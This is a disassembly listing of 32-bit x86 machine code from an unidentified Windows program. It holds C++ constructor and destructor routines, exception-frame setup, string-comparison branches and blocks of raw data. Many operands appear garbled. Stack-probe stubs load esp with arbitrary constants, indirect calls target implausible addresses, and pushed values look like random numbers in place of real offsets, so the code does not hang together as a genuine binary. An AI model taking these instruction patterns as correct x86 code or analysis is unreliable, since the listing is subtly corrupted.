call sub_401726
push eax
mov ecx, ebx
call sub_4012B7
test eax, eax
jnz short loc_410A49
add edi, 0FFFFFFEFh
lea eax, [esp+94h+var_6C]
push eax
mov ecx, edi
call sub_401C12
mov ecx, eax
mov [esp+94h+var_4], 2
call sub_401726
push eax
push offset word_4916DA
lea ecx, [esi+69h]
call sub_401479
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push edi
call sub_40178F
add esp, 18h
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_4011F9
jmp loc_410E22
; ---------------------------------------------------------------------------
loc_410A49: ; CODE XREF: sub_4108D0+117j
lea ecx, [edi+0FDh]
call sub_401726
push eax
mov ecx, ebx
call sub_4012B7
test eax, eax
jnz loc_410B04
push 648B6Dh
lea eax, [esp+98h+var_6C]
push 1
push eax
mov ecx, esi
call sub_401622
push eax
lea ecx, [edi+17h]
mov [esp+98h+var_4], 3
call sub_4017D5
or ebp, 0FFFFFFFFh
lea ecx, [esp+94h+var_6C]
mov ebx, eax
mov [esp+94h+var_4], ebp
call sub_4011F9
test ebx, ebx
jz loc_410E22
lea ecx, [esp+94h+var_6C]
add edi, 0FFFFFFEFh
push ecx
mov ecx, edi
call sub_401C12
mov ecx, eax
mov [esp+94h+var_4], 4
call sub_401726
push eax
push 7245B6h
lea ecx, [esi+69h]
call sub_401479
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push edi
call sub_40178F
add esp, 18h
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], ebp
call sub_4011F9
jmp loc_410E22
; ---------------------------------------------------------------------------
loc_410B04: ; CODE XREF: sub_4108D0+18Ej
lea ecx, [edi+12Bh]
call sub_401726
push eax
mov ecx, ebx
call sub_4012B7
test eax, eax
jnz loc_410BAD
push 3922DBh
lea ecx, [esp+98h+var_84]
push 2
push ecx
mov ecx, esi
call sub_401622
mov ebp, eax
push 5C916Dh
lea edx, [esp+98h+var_6C]
mov esi, 2EE48Bh
push 1
push edx
mov ecx, esi
mov [esp+0A0h+var_4], ebx
call sub_401622
mov esi, eax
mov ecx, ebp
mov byte ptr [esp+94h+var_4], 6
call sub_401726
push eax
mov ecx, esi
call sub_401726
push eax
mov eax, ds:dword_43FF5C
push eax
add edi, 0FFFFFFEFh
push 177245h
push edi
call sub_401CDA
add esp, 14h
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], bl
call sub_4011F9
lea ecx, [esp+94h+var_84]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_4011F9
jmp loc_410E22
; ---------------------------------------------------------------------------
loc_410BAD: ; CODE XREF: sub_4108D0+249j
lea ecx, [edi+1B5h]
call sub_401726
push eax
mov ecx, ebx
call sub_4012B7
test eax, eax
jnz short loc_410C1B
push offset word_4BB922
lea ecx, [esp+98h+var_6C]
push 1
push ecx
mov ecx, esi
call sub_401622
mov ecx, eax
mov [esp+94h+var_4], 7
call sub_401726
mov edx, ds:dword_43FF88
push eax
push edx
add edi, 0FFFFFFEFh
push 65DC91h
push edi
call sub_401CDA
add esp, 10h
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_4011F9
jmp loc_410E22
; ---------------------------------------------------------------------------
loc_410C1B: ; CODE XREF: sub_4108D0+2F2j
lea ecx, [edi+23Fh]
call sub_401726
push eax
mov ecx, ebx
call sub_4012B7
test eax, eax
jnz short loc_410C7D
lea eax, [esp+94h+var_6C]
push 9
push eax
mov ecx, esi
call sub_401CF8
mov ecx, eax
mov [esp+94h+var_4], 8
call sub_401726
push eax
add edi, 0FFFFFFEFh
push 72EE48h
push edi
call sub_401CDA
add esp, 0Ch
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_4011F9
jmp loc_410E22
; ---------------------------------------------------------------------------
loc_410C7D: ; CODE XREF: sub_4108D0+360j
lea ecx, [edi+1E3h]
call sub_401726
push eax
mov ecx, ebx
call sub_4012B7
test eax, eax
jnz loc_410D1D
push 397724h
lea ecx, [esp+98h+var_84]
push 1
push ecx
mov ecx, esi
call sub_401622
mov ebp, eax
push 1
push 5CBB92h
lea edx, [esp+9Ch+var_6C]
push 2
push edx
mov ecx, esi
mov [esp+0A4h+var_4], 9
call sub_4011C2
mov esi, eax
mov ecx, ebp
mov byte ptr [esp+94h+var_4], 0Ah
call sub_401479
push eax
mov ecx, esi
call sub_401479
xor ebx, ebx
push eax
push ebx
push ebx
lea ecx, [edi-11h]
call sub_4010FF
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], 9
call sub_4011F9
lea ecx, [esp+94h+var_84]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_4011F9
jmp loc_410E22
; ---------------------------------------------------------------------------
loc_410D1D: ; CODE XREF: sub_4108D0+3C2j
lea ecx, [edi+159h]
call sub_401726
push eax
mov ecx, ebx
call sub_4012B7
test eax, eax
jnz loc_410E22
push 2E5DC9h
lea eax, [esp+98h+var_24]
push 3
push eax
mov ecx, esi
call sub_401622
mov ebp, eax
push 572EE4h
lea ecx, [esp+98h+var_3C]
push 2
push ecx
mov ecx, esi
mov [esp+0A0h+var_4], 0Bh
call sub_401622
mov ebx, eax
push 6B9772h
lea edx, [esp+98h+var_54]
push 1
push edx
mov ecx, esi
mov byte ptr [esp+0A0h+var_4], 0Ch
call sub_401622
mov esi, eax
mov ecx, ebp
mov byte ptr [esp+94h+var_4], 0Dh
call sub_401726
push eax
mov ecx, ebx
call sub_401726
push eax
mov ecx, esi
call sub_401726
push eax
mov eax, ds:dword_43FF8C
push eax
add edi, 0FFFFFFEFh
push 75CBB9h
push edi
call sub_401CDA
add esp, 18h
lea ecx, [esp+94h+var_54]
mov byte ptr [esp+94h+var_4], 0Ch
call sub_4011F9
lea ecx, [esp+94h+var_3C]
mov byte ptr [esp+94h+var_4], 0Bh
call sub_4011F9
lea ecx, [esp+94h+var_24]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_4011F9
jmp short loc_410E22
; ---------------------------------------------------------------------------
loc_410DF9: ; CODE XREF: sub_4108D0+3Aj
; sub_4108D0+55j
xor ebx, ebx
mov [edi+0Fh], ebx
mov [edi+0Bh], ebx
mov [edi+5], bl
mov [edi+4], bl
mov ecx, [edi+7]
push ecx
call dword ptr ds:7AE5DCh
mov ebp, 0BD72Eh
mov dword ptr [edi+7], 0FFFFFFFFh
call sub_4014CE
loc_410E22: ; CODE XREF: sub_4108D0+FDj
; sub_4108D0+174j ...
mov ecx, [esp+94h+var_C]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov large fs:0, ecx
add esp, 84h
retn 4
sub_4108D0 endp
; ---------------------------------------------------------------------------
db 90h
db 160h dup(0CCh)
; ---------------------------------------------------------------------------
loc_410FA0: ; CODE XREF: sub_401C12j
push 0FFFFFFFFh
push 5EB97h
; ---------------------------------------------------------------------------
db 64h
dword_410FA8 dd 0A1h ; DATA XREF: _294ADE7B:004182FEr
dd 89645000h, 25h, 40EC8300h, 8DF18B56h, 0C72C244Ch, 82444h
dd 0E8000000h, 0FFFF0403h, 4C8DC033h, 44890424h, 548D0C24h
dd 44890C24h, 89511024h, 52182444h, 20244489h, 5018468Bh
dd 582444C7h, 1, 102444C7h, 10h, 0F5CB15FFh, 4C8B0042h
dd 548B1324h, 448B1224h, 0E1811124h, 0FFh, 244C8B51h, 0FFE28114h
dd 25000000h, 0FFh, 0FFE18152h, 50000000h, 24548D51h, 7AE5682Ch
dd 0FF520021h, 50BD7215h, 18C48300h, 2C244C8Dh, 285EB968h
dd 516E800h, 5C68FFFFh, 8D00542Fh, 0E830244Ch, 0FFFF095Eh
dd 1C24448Dh, 2C244C8Dh, 950E850h, 0AE68FFFFh, 8D002A17h
dd 0E830244Ch, 0FFFF0942h, 8D28C683h, 562C244Ch, 0FF05A7E8h
dd 0BD768FFh, 4C8D0015h, 27E83024h, 8DFFFF09h, 511C244Ch
dd 0FF0387E8h, 4C483FFh, 774C084h, 0A85EB68h, 6805EB00h
dd 4542F5h, 30244C8Dh, 0FF0901E8h, 24748BFFh, 24548D54h
dd 0CE8B522Ch, 0FF03A6E8h, 2444C7FFh, 108h, 244C8D00h
dd 2444C62Ch, 1AE8004Ch, 8BFFFF01h, 8B44244Ch, 89645EC6h
dd 0Dh, 4CC48300h, 900004C2h, 3 dup(90909090h), 18h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_411160 proc near ; CODE XREF: sub_401514j
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
push esi
mov esi, ecx
push edi
mov edi, ebp
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov eax, [esi+18h]
push 0
not ecx
dec ecx
push ecx
push ebp
push eax
call dword ptr ds:62A17Ah
mov edx, eax
mov edi, ebp
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
cmp edx, ecx
jnb short loc_4111BE
mov [esi+16h], al
mov [esi+15h], al
mov eax, [esi+18h]
push eax
call dword ptr ds:3150BDh
mov ebx, 0A18A85h
mov dword ptr [esi+18h], 0FFFFFFFFh
call sub_4014CE
pop edi
pop esi
xor al, al
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_4111BE: ; CODE XREF: sub_411160+33j
pop edi
pop esi
mov al, 1
pop ebp
retn 4
sub_411160 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4111F0 proc near ; CODE XREF: sub_401CDAj
arg_2000 = dword ptr 2004h
arg_2004 = dword ptr 2008h
arg_2008 = byte ptr 200Ch
mov eax, 8D0C54h
call sub_430390
mov ecx, [esp+arg_2004]
lea eax, [esp+arg_2008]
push eax
push ecx
lea edx, [esp+8]
push offset word_46862A
push edx
call dword ptr ds:234315h
mov ecx, [esp+10h+arg_2000]
add esp, 10h
lea eax, [esp+0]
push eax
call sub_401514
add esp, 2000h
retn
sub_4111F0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_411260: ; CODE XREF: sub_4010FFj
mov eax, large fs:0
push 0FFFFFFFFh
push 51A18Ah
push eax
mov al, [esp+10h]
mov large fs:0, esp
sub esp, 30h
test al, al
push esi
mov esi, ecx
jz short loc_411297
xor al, al
pop esi
mov ecx, [esp+30h]
; ---------------------------------------------------------------------------
dword_41128A dd 0D8964h ; DATA XREF: sub_40B260+1Dr
align 10h
dd 3CC48300h
; ---------------------------------------------------------------------------
retn 10h
; ---------------------------------------------------------------------------
loc_411297: ; CODE XREF: _294ADE7B:00411281j
lea ecx, [esp+4]
call sub_4013CF
mov al, [esp+48h]
mov dword ptr [esp+3Ch], 0
test al, al
jz short loc_4112B8
mov eax, ds:dword_43FF58
push eax
jmp short loc_4112BF
; ---------------------------------------------------------------------------
loc_4112B8: ; CODE XREF: _294ADE7B:004112AEj
mov ecx, ds:dword_43FF60
push ecx
loc_4112BF: ; CODE XREF: _294ADE7B:004112B6j
lea ecx, [esp+8]
call sub_401564
push ebx
lea ecx, [esp+20h]
call sub_4013CF
mov edx, [esp+50h]
mov eax, [esp+54h]
push edx
push eax
lea ecx, [esp+10h]
mov byte ptr [esp+48h], 1
call sub_401726
push eax
lea ecx, [esp+2Ch]
push 68D0C5h
push ecx
call sub_40102D
add esp, 14h
lea ecx, [esp+20h]
call sub_401479
push eax
mov ecx, esi
call sub_401514
lea ecx, [esp+20h]
mov bl, al
mov byte ptr [esp+40h], 0
call sub_4011F9
lea ecx, [esp+8]
mov dword ptr [esp+40h], 0FFFFFFFFh
call sub_4011F9
mov ecx, [esp+38h]
mov al, bl
pop ebx
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn 10h
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411390 proc near ; CODE XREF: sub_40178Fj
arg_2000 = dword ptr 2004h
arg_2004 = dword ptr 2008h
arg_2008 = dword ptr 200Ch
arg_200C = dword ptr 2010h
arg_2010 = dword ptr 2014h
arg_2014 = byte ptr 2018h
mov esp, 0E34686h
call sub_430390
mov ecx, [esp+arg_2010]
lea eax, [esp+arg_2014]
push eax
push ecx
lea edx, [esp+8]
push 71A343h
push edx
call dword ptr ds:78D1A1h
mov eax, [esp+10h+arg_200C]
mov edx, [esp+10h+arg_2008]
add esp, 10h
lea ecx, [esp+0]
push eax
mov eax, [esp+4+arg_2004]
push ecx
mov ecx, [esp+8+arg_2000]
push edx
push eax
call sub_4010FF
add esp, 2000h
retn
sub_411390 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411410 proc near ; CODE XREF: sub_401BEAj
push esi
mov esi, ecx
call sub_401E60
mov eax, [esi+1Ch]
inc eax
mov [esi+1Ch], eax
pop esi
retn
sub_411410 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411440 proc near ; CODE XREF: sub_401E60j
push esi
mov esi, ecx
xor al, al
mov [esi+16h], al
mov [esi+15h], al
mov eax, [esi+18h]
push eax
call dword ptr ds:3C68D0h
mov ebx, 578D1h
mov dword ptr [esi+18h], 0FFFFFFFFh
call sub_4014CE
pop esi
retn
sub_411440 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411480 proc near ; CODE XREF: sub_401686j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov dl, [ecx]
xor ecx, ecx
mov [eax], dl
mov [eax+4], ecx
mov [eax+8], ecx
mov [eax+0Ch], ecx
retn 4
sub_411480 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4114B0 proc near ; CODE XREF: _294ADE7B:004018EDj
; sub_401956j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401366
test [esp+4+arg_0], 1
jz short loc_4114C8
push esi
call sub_430332
add esp, 4
loc_4114C8: ; CODE XREF: sub_4114B0+Dj
mov eax, esi
pop esi
retn 4
sub_4114B0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4114E0 proc near ; CODE XREF: sub_401366j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 0ABC68h
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_437028
mov dword ptr [esi+11h], offset off_437034
lea ecx, [esi+2DAh]
mov [esp+14h+var_4], 10h
call sub_401A5F
lea ecx, [esi+2ACh]
mov byte ptr [esp+14h+var_4], 0Fh
call sub_401023
lea ecx, [esi+27Eh]
mov byte ptr [esp+14h+var_4], 0Eh
call sub_401023
lea ecx, [esi+250h]
mov byte ptr [esp+14h+var_4], 0Dh
call sub_401023
lea ecx, [esi+222h]
mov byte ptr [esp+14h+var_4], 0Ch
call sub_401023
lea ecx, [esi+1F4h]
mov byte ptr [esp+14h+var_4], 0Bh
call sub_401023
lea ecx, [esi+1C6h]
mov byte ptr [esp+14h+var_4], 0Ah
call sub_401023
lea ecx, [esi+198h]
mov byte ptr [esp+14h+var_4], 9
call sub_401023
lea ecx, [esi+16Ah]
mov byte ptr [esp+14h+var_4], 8
call sub_401023
lea ecx, [esi+13Ch]
mov byte ptr [esp+14h+var_4], 7
call sub_401023
lea ecx, [esi+10Eh]
mov byte ptr [esp+14h+var_4], 6
call sub_401023
lea ecx, [esi+0E0h]
mov byte ptr [esp+14h+var_4], 5
call sub_401023
lea ecx, [esi+0B2h]
mov byte ptr [esp+14h+var_4], 4
call sub_401023
lea ecx, [esi+84h]
mov byte ptr [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+56h]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+3Dh]
mov byte ptr [esp+14h+var_4], 1
call sub_4011F9
lea ecx, [esi+28h]
mov byte ptr [esp+14h+var_4], 0
call sub_4011F9
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401EC9
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4114E0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4116A0 proc near ; CODE XREF: sub_401A5Fj
push esi
mov esi, ecx
mov eax, [esi+8]
mov ecx, [esi+4]
push eax
push ecx
mov ecx, esi
call sub_401677
mov eax, [esi+4]
mov edx, [esi+0Ch]
sub edx, eax
mov ecx, esi
sar edx, 2
push edx
push eax
call sub_40125D
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
pop esi
retn
sub_4116A0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4116F0 proc near ; CODE XREF: sub_4010AAj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 55E34h
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401D2F
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_401EE7
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_437038
mov dword ptr [esi+11h], 0
mov byte ptr [esi+0ABh], 0
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4116F0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_411770: ; CODE XREF: _294ADE7B:loc_40113Bj
; _294ADE7B:00401659j
push esi
mov esi, ecx
call sub_40101E
test byte ptr [esp+8], 1
jz short loc_411788
push esi
call sub_430332
add esp, 4
loc_411788: ; CODE XREF: _294ADE7B:0041177Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4117A0 proc near ; CODE XREF: sub_40101Ej
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 2AF1Ah
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_437038
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_401893
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401EC9
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4117A0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411820 proc near ; CODE XREF: sub_401EE7j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push (offset loc_41578B+2)
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4013CF
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_4013CF
lea ecx, [esi+2Ah]
mov byte ptr [esp+14h+var_4], 1
call sub_4013CF
lea ecx, [esi+3Fh]
mov byte ptr [esp+14h+var_4], 2
call sub_4013CF
lea ecx, [esi+54h]
mov byte ptr [esp+14h+var_4], 3
call sub_4013CF
lea ecx, [esi+69h]
mov byte ptr [esp+14h+var_4], 4
call sub_4013CF
lea ecx, [esi+7Eh]
mov byte ptr [esp+14h+var_4], 5
call sub_4013CF
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_411820 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4118E0 proc near ; CODE XREF: sub_401893j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 20ABC6h
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+7Eh]
mov [esp+14h+var_4], 5
call sub_4011F9
lea ecx, [esi+69h]
mov byte ptr [esp+14h+var_4], 4
call sub_4011F9
lea ecx, [esi+54h]
mov byte ptr [esp+14h+var_4], 3
call sub_4011F9
lea ecx, [esi+3Fh]
mov byte ptr [esp+14h+var_4], 2
call sub_4011F9
lea ecx, [esi+2Ah]
mov byte ptr [esp+14h+var_4], 1
call sub_4011F9
lea ecx, [esi+15h]
mov byte ptr [esp+14h+var_4], 0
call sub_4011F9
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_4011F9
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4118E0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4119A0 proc near ; CODE XREF: sub_401DC5j
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 1055E3h
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 6
push 9
push 4Fh
push 3
push 9
push 7
push 0Fh
lea eax, [esp+48h+var_24]
push 0Ch
mov esi, ecx
push eax
call sub_4018DE
add esp, 28h
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_401726
add esi, 4
push eax
push esi
mov esp, 21055Eh
call sub_401523
lea ecx, [esp+28h+var_24]
mov [esp+28h+var_4], 0FFFFFFFFh
call sub_4011F9
mov ecx, [esp+28h+var_C]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
sub_4119A0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_411A40: ; CODE XREF: _294ADE7B:loc_40100Aj
mov eax, large fs:0
push 0FFFFFFFFh
push 1082AFh
push eax
mov large fs:0, esp
sub esp, 90h
add ecx, 4
push ebp
push esi
mov esi, [esp+0A8h]
lea ebp, [esi+7Eh]
call sub_401726
push eax
mov ecx, ebp
call sub_4012B7
test eax, eax
jnz loc_411D66
push ebx
push edi
push 84157h
lea eax, [esp+44h]
push 1
push eax
mov ecx, esi
call sub_401622
push offset byte_4420AB
lea ecx, [esp+2Ch]
push 2
push ecx
mov ecx, esi
mov dword ptr [esp+0B4h], 0
call sub_401622
push 621055h
lea edx, [esp+14h]
push 3
push edx
mov ecx, esi
mov byte ptr [esp+0B4h], 1
call sub_401622
push 31082Ah
lea eax, [esp+74h]
push 0
push eax
mov ecx, esi
mov byte ptr [esp+0B4h], 2
call sub_401622
mov edi, eax
lea ecx, [esp+10h]
mov byte ptr [esp+0A8h], 3
call sub_401384
lea ecx, [esp+28h]
mov ebx, eax
call sub_401384
lea ecx, [esp+40h]
add ebx, eax
call sub_401384
mov ecx, edi
add ebx, eax
call sub_401384
lea ecx, [esp+70h]
lea edi, [ebx+eax+4]
mov byte ptr [esp+0A8h], 2
call sub_4011F9
lea ecx, [esp+58h]
push edi
push ecx
mov ecx, esi
call sub_401CF8
push 588415h
lea edx, [esp+8Ch]
push 4
push edx
mov ecx, esi
mov byte ptr [esp+0B4h], 4
call sub_401622
lea ecx, [esp+70h]
push 1
mov bl, 5
push ecx
mov ecx, eax
mov [esp+0B0h], bl
call sub_401CF8
push eax
mov ecx, ebp
mov byte ptr [esp+0ACh], 6
call sub_401EAB
lea ecx, [esp+70h]
mov [esp+0A8h], bl
call sub_4011F9
mov byte ptr [esp+0A8h], 4
lea ecx, [esp+88h]
call sub_4011F9
lea edx, [esp+58h]
mov ecx, esi
push edx
call sub_401EAB
push 2C420Ah
lea ecx, [esp+2Ch]
call sub_4012B7
test eax, eax
jnz short loc_411BC5
xor edi, edi
loc_411BC5: ; CODE XREF: _294ADE7B:00411BC1j
push 562105h
lea ecx, [esp+2Ch]
call sub_4012B7
test eax, eax
jnz short loc_411BDC
mov eax, 6AB108h
loc_411BDC: ; CODE XREF: _294ADE7B:00411BD5j
push 3D5884h
lea ecx, [esp+2Ch]
call sub_4012B7
test eax, eax
jnz short loc_411BF3
mov eax, 2DEAC4h
loc_411BF3: ; CODE XREF: _294ADE7B:00411BECj
push 1EF562h
lea ecx, [esp+2Ch]
call sub_4012B7
test eax, eax
jnz short loc_411C0A
mov esp, 0A1EF56h
loc_411C0A: ; CODE XREF: _294ADE7B:00411C03j
push 58F7ABh
lea ecx, [esp+44h]
call sub_4012B7
test eax, eax
jnz short loc_411C64
test edi, edi
jnz short loc_411C3A
lea ecx, [esp+10h]
call sub_401726
push eax
mov ebp, 0CD8F7Ah
call sub_4012B7
test eax, eax
jz short loc_411C64
jmp short loc_411C57
; ---------------------------------------------------------------------------
loc_411C3A: ; CODE XREF: _294ADE7B:00411C1Ej
cmp edi, 1
jnz short loc_411C64
lea ecx, [esp+10h]
call sub_401726
push eax
mov edi, 8CD8F7h
call sub_4012B7
test eax, eax
jnz short loc_411C64
loc_411C57: ; CODE XREF: _294ADE7B:00411C38j
push 0
push esi
mov edi, 23363h
call sub_40194C
loc_411C64: ; CODE XREF: _294ADE7B:00411C1Aj
; _294ADE7B:00411C36j ...
push 119B1h
lea ecx, [esp+44h]
call sub_4012B7
test eax, eax
jnz short loc_411CB7
test edi, edi
jnz short loc_411C98
lea ecx, [esp+10h]
call sub_401726
push eax
mov esi, 260233h
call sub_40138E
test eax, eax
jnz loc_411D19
jmp short loc_411D0C
; ---------------------------------------------------------------------------
loc_411C98: ; CODE XREF: _294ADE7B:00411C78j
cmp edi, 1
jnz short loc_411D19
lea ecx, [esp+10h]
call sub_401726
push eax
mov esi, 0C36023h
call sub_40138E
test eax, eax
jz short loc_411D19
jmp short loc_411D0C
; ---------------------------------------------------------------------------
loc_411CB7: ; CODE XREF: _294ADE7B:00411C74j
push 61B011h
lea ecx, [esp+44h]
call sub_4012B7
test eax, eax
jnz short loc_411D19
lea ecx, [esp+10h]
call sub_401726
push eax
call dword ptr ds:30D808h
add esp, 4
mov ebx, eax
call sub_4015D2
test edi, edi
jnz short loc_411CED
cmp eax, ebx
jz short loc_411D19
jmp short loc_411D0C
; ---------------------------------------------------------------------------
loc_411CED: ; CODE XREF: _294ADE7B:00411CE5j
cmp edi, 1
jnz short loc_411CF8
cmp eax, ebx
jnz short loc_411D19
jmp short loc_411D0C
; ---------------------------------------------------------------------------
loc_411CF8: ; CODE XREF: _294ADE7B:00411CF0j
cmp edi, 2
jnz short loc_411D03
cmp eax, ebx
jle short loc_411D19
jmp short loc_411D0C
; ---------------------------------------------------------------------------
loc_411D03: ; CODE XREF: _294ADE7B:00411CFBj
cmp edi, 3
jnz short loc_411D19
cmp eax, ebx
jge short loc_411D19
loc_411D0C: ; CODE XREF: _294ADE7B:00411C96j
; _294ADE7B:00411CB5j ...
push 0
push esi
mov eax, 22C360h
call sub_40194C
loc_411D19: ; CODE XREF: _294ADE7B:00411C90j
; _294ADE7B:00411C9Bj ...
lea ecx, [esp+58h]
mov byte ptr [esp+0A8h], 2
call sub_4011F9
lea ecx, [esp+10h]
mov byte ptr [esp+0A8h], 1
call sub_4011F9
lea ecx, [esp+28h]
mov byte ptr [esp+0A8h], 0
call sub_4011F9
lea ecx, [esp+40h]
mov dword ptr [esp+0A8h], 0FFFFFFFFh
call sub_4011F9
pop edi
mov al, 1
pop ebx
jmp short loc_411D68
; ---------------------------------------------------------------------------
loc_411D66: ; CODE XREF: _294ADE7B:00411A79j
mov al, 1
loc_411D68: ; CODE XREF: _294ADE7B:00411D64j
mov ecx, [esp+98h]
pop esi
pop ebp
mov large fs:0, ecx
add esp, 9Ch
retn 4
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 0E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411E70 proc near ; CODE XREF: sub_4015D2j
call dword ptr ds:1961B0h
mov ecx, eax
mov eax, 10624DD3h
mul ecx
mov ecx, edx
mov eax, 0C22E4507h
shr ecx, 6
imul ecx
mov eax, edx
add eax, ecx
sar eax, 10h
mov edx, eax
shr edx, 1Fh
add eax, edx
retn
sub_411E70 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411EB0 proc near ; CODE XREF: sub_401E97j
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 0CB0D8h
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push esi
mov esi, ecx
push edi
mov [esp+20h+var_10], esi
call sub_401190
lea ecx, [esi+4]
call sub_4016A9
lea ecx, [esi+32h]
mov [esp+20h+var_4], 0
call sub_4016A9
lea edi, [esi+60h]
lea eax, [esp+20h+var_12]
push eax
mov ecx, edi
mov byte ptr [esp+24h+var_4], 1
call sub_401DCA
lea ecx, [esp+20h+var_11]
lea ebx, [esi+6Ch]
push ecx
mov ecx, ebx
mov byte ptr [esp+24h+var_4], 2
call sub_40178A
mov ecx, edi
mov byte ptr [esp+20h+var_4], 3
mov dword ptr [esi], offset off_437044
call sub_40184D
mov ecx, ebx
call sub_401B45
